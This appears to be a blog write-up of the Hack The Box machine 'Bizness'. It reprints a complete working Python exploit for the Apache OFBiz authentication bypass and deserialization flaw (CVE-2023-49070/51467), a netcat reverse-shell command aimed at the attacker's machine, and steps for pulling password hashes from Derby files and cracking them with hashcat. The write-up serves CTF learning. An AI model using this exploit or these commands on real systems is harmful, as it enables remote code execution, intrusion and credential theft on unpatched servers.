Hack The Box (Bizness)

Software Sinner
8 min readJan 25, 2024

I've been on the Hack The Box platform for many years now and I will say its one of my favorites for learning Ethical Hacking. The machines keep me interested with how challenging they are along with their point/leaderboard system. I am going to discuss my experience with their machine called “Bizness”. This is an easy level machine but can be frustrating for new users in the CTF world. I learned a lot from this machine which covers how to exploit a vulnerability in Apache OFBiz.

Rolloutttttt

Enumeration:

I kicked off autorecon and received four ports open in the results. I cancelled out port 22, of course, and worked my way down the list and enumerated each one.

Nmap scan report for 10.10.11.252
Host is up, received user-set (0.078s latency).
Scanned at 2024-01-25 09:03:14 PST for 85s
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0B2izYdzgANpvBJW4Ym5zGRggYqa8smNlnRrVK6IuBtHzdlKgcFf+Gw0kSgJEouRe8eyVV9iAyD9HXM2L0N/17+rIZkSmdZPQi8chG/PyZ+H1FqcFB2LyxrynHCBLPTWyuN/tXkaVoDH/aZd1gn9QrbUjSVo9mfEEnUduO5Abf1mnBnkt3gLfBWKq1P1uBRZoAR3EYDiYCHbuYz30rhWR8SgE7CaNlwwZxDxYzJGFsKpKbR+t7ScsviVnbfEwPDWZVEmVEd0XYp1wb5usqWz2k7AMuzDpCyI8klc84aWVqllmLml443PDMIh1Ud2vUnze3FfYcBOo7DiJg7JkEWpcLa6iTModTaeA1tLSUJi3OYJoglW0xbx71di3141pDyROjnIpk/K45zR6CbdRSSqImPPXyo3UrkwFTPrSQbSZfeKzAKVDZxrVKq+rYtd+DWESp4nUdat0TXCgefpSkGfdGLxPZzFg0cQ/IF1cIyfzo1gicwVcLm4iRD9umBFaM2E=
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFMB/Pupk38CIbFpK4/RYPqDnnx8F2SGfhzlD32riRsRQwdf19KpqW9Cfpp2xDYZDhA3OeLV36bV5cdnl07bSsw=
| 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOjcxHOO/Vs6yPUw6ibE6gvOuakAnmR7gTk/yE2yJA/3
80/tcp open http syn-ack ttl 63 nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
443/tcp open ssl/http syn-ack ttl 63 nginx 1.18.0
|_http-server-header: nginx/1.18.0
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Issuer: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-12-14T20:03:40
| Not valid after: 2328-11-10T20:03:40
| MD5: b182:2fdb:92b0:2036:6b98:8850:b66e:da27
| SHA-1: 8138:8595:4343:f40f:937b:cc82:23af:9052:3f5d:eb50
| -----BEGIN CERTIFICATE-----
| MIIDbTCCAlWgAwIBAgIUcNuUwJFmLYEqrKfOdzHtcHum2IwwDQYJKoZIhvcNAQEL
| BQAwRTELMAkGA1UEBhMCVUsxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM
| GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDAgFw0yMzEyMTQyMDAzNDBaGA8yMzI4
| MTExMDIwMDM0MFowRTELMAkGA1UEBhMCVUsxEzARBgNVBAgMClNvbWUtU3RhdGUx
| ITAfBgNVBAoMGEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcN
| AQEBBQADggEPADCCAQoCggEBAK4O2guKkSjwv8sruMD3DiDi1FoappVwDJ86afPZ
| XUCwlhtZD/9gPeXuRIy66QKNSzv8H7cGfzEL8peDF9YhmwvYc+IESuemPscZSlbr
| tSdWXVjn4kMRlah/2PnnWZ/Rc7I237V36lbsavjkY6SgBK8EPU3mAdHNdIBqB+XH
| ME/G3uP/Ut0tuhU1AAd7jiDktv8+c82EQx21/RPhuuZv7HA3pYdtkUja64bSu/kG
| 7FOWPxKTvYxxcWdO02GRXs+VLce+q8tQ7hRqAQI5vwWU6Ht3K82oftVPMZfT4BAp
| 4P4vhXvvcyhrjgjzGPH4QdDmyFkL3B4ljJfZrbXo4jXqp4kCAwEAAaNTMFEwHQYD
| VR0OBBYEFKXr9HwWqLMEFnr6keuCa8Fm7JOpMB8GA1UdIwQYMBaAFKXr9HwWqLME
| Fnr6keuCa8Fm7JOpMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEB
| AFruPmKZwggy7XRwDF6EJTnNe9wAC7SZrTPC1gAaNZ+3BI5RzUaOkElU0f+YBIci
| lSvcZde+dw+5aidyo5L9j3d8HAFqa/DP+xAF8Jya0LB2rIg/dSoFt0szla1jQ+Ff
| 6zMNMNseYhCFjHdxfroGhUwYWXEpc7kT7hL9zYy5Gbmd37oLYZAFQv+HNfjHnE+2
| /gTR+RwkAf81U3b7Czl39VJhMu3eRkI3Kq8LiZYoFXr99A4oefKg1xiN3vKEtou/
| c1zAVUdnau5FQSAbwjDg0XqRrs1otS0YQhyMw/3D8X+f/vPDN9rFG8l9Q5wZLmCa
| zj1Tly1wsPCYAq9u570e22U=
|_-----END CERTIFICATE-----
|_http-title: Did not follow redirect to https://bizness.htb/
|_ssl-date: TLS randomness does not represent time
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
34285/tcp open tcpwrapped syn-ack ttl 63
Aggressive OS guesses: Linux 5.0 (96%), Linux 4.15 - 5.8 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

My first port to visit was 80 of course but the page seemed to try and reach a domain that was not mapped ot the local IP. I had to go into /etc/hosts and map the machines IP to bizness.htb and was able to reach the site after.

sudo nano /etc/hosts

I tried directory busting the site and also doing a subdomian bruteforce and did not get any hits. My next step was to navigate the site, find any potential information on what it could be running on, and find an exploit. Scrolling down the page, I noticed that it was being powered by Apache OFBiz.

Exploitation:

I started googling key words like “Apache OFBiz exploit github” and came across this individual’s well-developed exploit.

import argparse
import logging
import os
import subprocess
import base64
import requests
import urllib3

# Disable SSL verification warning for simplicity
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def validate_url(url):
"""
Validate the URL schema.
"""
if not url.startswith("http://") and not url.startswith("https://"):
raise ValueError("Invalid URL schema. Use 'http://' or 'https://'.")

def scan(url):
"""
Perform a basic scan on the specified URL.
"""
print("[+] Scanning started...")
try:
target_url = f"{url}/webtools/control/ping?USERNAME=&PASSWORD=&requirePasswordChange=Y"
response = requests.get(target_url, verify=False)

response.raise_for_status() # Raise an HTTPError for bad responses (4xx or 5xx)

if "PONG" in response.text:
print("[+] Apache OFBiz instance seems to be vulnerable.")
else:
print("[-] Apache OFBiz instance seems NOT to be vulnerable.")

except requests.exceptions.RequestException as e:
print(f"[-] LOG: An error occurred during the scan: {e}")

def get_encoded_payload(cmd):
"""
Generate an encoded payload based on the provided command.
"""
if not os.path.isfile("ysoserial-all.jar"):
logging.error("[-] ysoserial-all.jar not found. Exiting.")
exit(1)

print("[+] Generating payload...")
try:
#print(f"[+] Running the following command: {cmd}")
result = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, text=False)
encoded_output = base64.b64encode(result.stdout).decode().replace("\n", "")
print("[+] Payload generated successfully.")

except subprocess.CalledProcessError as e:
print(f"[-] LOG: An error occurred during payload generation: {e}")

return encoded_output

def send_post_request(url, encoded_output):
"""
Send a POST request with a malicious serialized payload.
"""
print("[+] Sending malicious serialized payload...")
try:
target_url = f"{url}/webtools/control/xmlrpc/?USERNAME=&PASSWORD=&requirePasswordChange=Y"
headers = {
"Content-Type": "application/xml",
}
xml_data = f"""<?xml version="1.0"?>
<methodCall>
<methodName>Methodname</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{encoded_output}</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
"""

response = requests.post(target_url, headers=headers, data=xml_data, verify=False)

if response.status_code == 200:
print("[+] The request has been successfully sent. Check the result of the command.")
else:
print("[-] Failed to send the request. Check the connection or try again.")
except requests.exceptions.RequestException as e:
print(f"[-] LOG: An error occurred during the scan: {e}")

def main():
"""
Main function for executing the script.
"""
parser = argparse.ArgumentParser(description="Exploit script for Apache EFBiz auth vulnerability (CVE-2023-49070 and CVE-2023-51467).")
parser.add_argument("--url", required=True, help="EFBIZ's URL to send requests to.")
parser.add_argument("--cmd", help="Command to run on the remote server. Optional.")
args = parser.parse_args()

url = args.url.rstrip('/')
validate_url(args.url)

if args.cmd is None:
scan(url)
else:
command = f"java -jar --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED ysoserial-all.jar CommonsBeanutils1 '{args.cmd}'"
encoded_output = get_encoded_payload(command)
send_post_request(url, encoded_output)

if __name__ == "__main__":
main()

Analyzing the python script here is a breakdown of what its doing:

  • Import necessary libraries: The script imports several Python libraries, including argparse for command-line argument parsing, logging for logging messages, os for interacting with the operating system, subprocess for running external commands, base64 for encoding and decoding data in Base64 format, requests for making HTTP requests, and urllib3 to disable SSL verification warnings.
  • Define a function validate_url(url) to check the URL schema: This function is used to ensure that the provided URL starts with either “http://” or “https://." If the URL does not match this format, it raises a ValueError.
  • Define a function scan(url) to perform a basic scan: This function constructs a target URL based on the provided URL and sends an HTTP GET request to it. It looks for the presence of “PONG” in the response text, indicating a vulnerability in the Apache OFBiz instance. If “PONG” is found, it prints that the instance seems to be vulnerable; otherwise, it prints that it’s not vulnerable.
  • Define a function get_encoded_payload(cmd) to generate an encoded payload: This function generates an encoded payload based on a provided command. It checks if the ysoserial-all.jar file exists and then runs the provided command using subprocess.run. It encodes the command’s output in Base64 format and returns the encoded payload as a string.
  • Define a function send_post_request(url, encoded_output) to send a POST request: This function constructs an XML-RPC POST request with a malicious serialized payload and sends it to a target URL. It sets the Content-Type header to “application/xml” and includes the encoded payload in the XML data. It checks the HTTP response status code to determine whether the request was successful.
  • Define the main() function: This is the main entry point of the script. It uses argparse to parse command-line arguments, including the target URL ( — url) and an optional command ( — cmd) to execute on the remote server. It validates the URL, and if no command is provided, it calls the scan() function to check for the Apache OFBiz vulnerability. If a command is provided, it generates the payload and sends the malicious request.
  • Execute the script if it’s the main module: The script checks if it’s being run as the main module (not imported as a library) and calls the main() function to start the execution.

Since the script is allowing commands to be executed on the server I set up a netcat listener on my machine and when running the exploit I specified the netcat command to call back to my machine:

On my attack machine:

nc -lvp 4444

In another terminal window in the directory where the exploit resides:

python3 exploit.py --url https://bizness.htb/ --cmd 'nc -e /bin/sh <your ip here> 4444'

I got a shell as user ofbiz hell yeah! This shell sucked so I ran the following command to upgrade it to a more stable one:

/usr/bin/script -qc /bin/bash /dev/null

Getting root was hard for me. I ran to Linpeas and didn’t see anything that could lead me to finding privesc. I had to peek through files on the system to see if I could find a hash or password because I did notice that the Derby database was being used, so I went to the directory path where it was storing its .dat files.

I ran this command to narrow down which files had “SHA” in them for a hash:

The file c54d0.dat had the hash I was looking for..

find /opt/ofbiz/runtime/data/derby/ofbiz/seg0 -type f -name “*.dat” -exec grep “SHA” {} \;

The file c54d0.dat ended up having the hash I was looking for after some trial an error.

The next step is cracking the hash to obtain a password. I chopped the beginning strings of the hash “$SHA$d$” and converted them using Cyberchef; that way, I could run hashcat against it.

Created a file named hash and inserted the following line:

Notice how I added the semicolon d at the end this specifies to hashcat that its salted.

I ran hashcat with the following command:

hashcat -a 0 -m 120 hash /usr/share/wordlists/rockyou.txt

Ran a su to root and typed in the new acquired password and boooom!

--

--